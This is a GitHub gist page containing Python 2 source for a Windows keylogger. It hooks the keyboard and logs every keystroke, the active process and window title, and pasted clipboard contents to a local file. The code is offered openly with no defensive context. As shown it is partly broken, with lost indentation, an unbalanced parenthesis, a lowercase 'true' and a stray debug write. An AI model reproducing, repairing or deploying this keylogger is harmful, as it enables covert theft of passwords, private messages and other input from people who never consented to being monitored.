Skip to content

Instantly share code, notes, and snippets.

@abeeku
Created October 7, 2017 22:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abeeku/dc69b6299105b365718c63001dcbe790 to your computer and use it in GitHub Desktop.
Save abeeku/dc69b6299105b365718c63001dcbe790 to your computer and use it in GitHub Desktop.
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
f = open('result.txt','w')
def get_current_process():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
f.write('tHING 1')
process_id = "%d" % pid.value
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
print
f.write("[PID: %s - %s - %s]" % (process_id, executable.value, window_title.value))
print "[PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
print
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
if event.Ascii > 32 and event.Ascii < 127:
f.write(chr(event.Ascii))
else:
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
f.write("[PASTE] - %s" % (pasted_value)))
else:
f.write("[%s] " % event.Key)
return true
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()
f.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment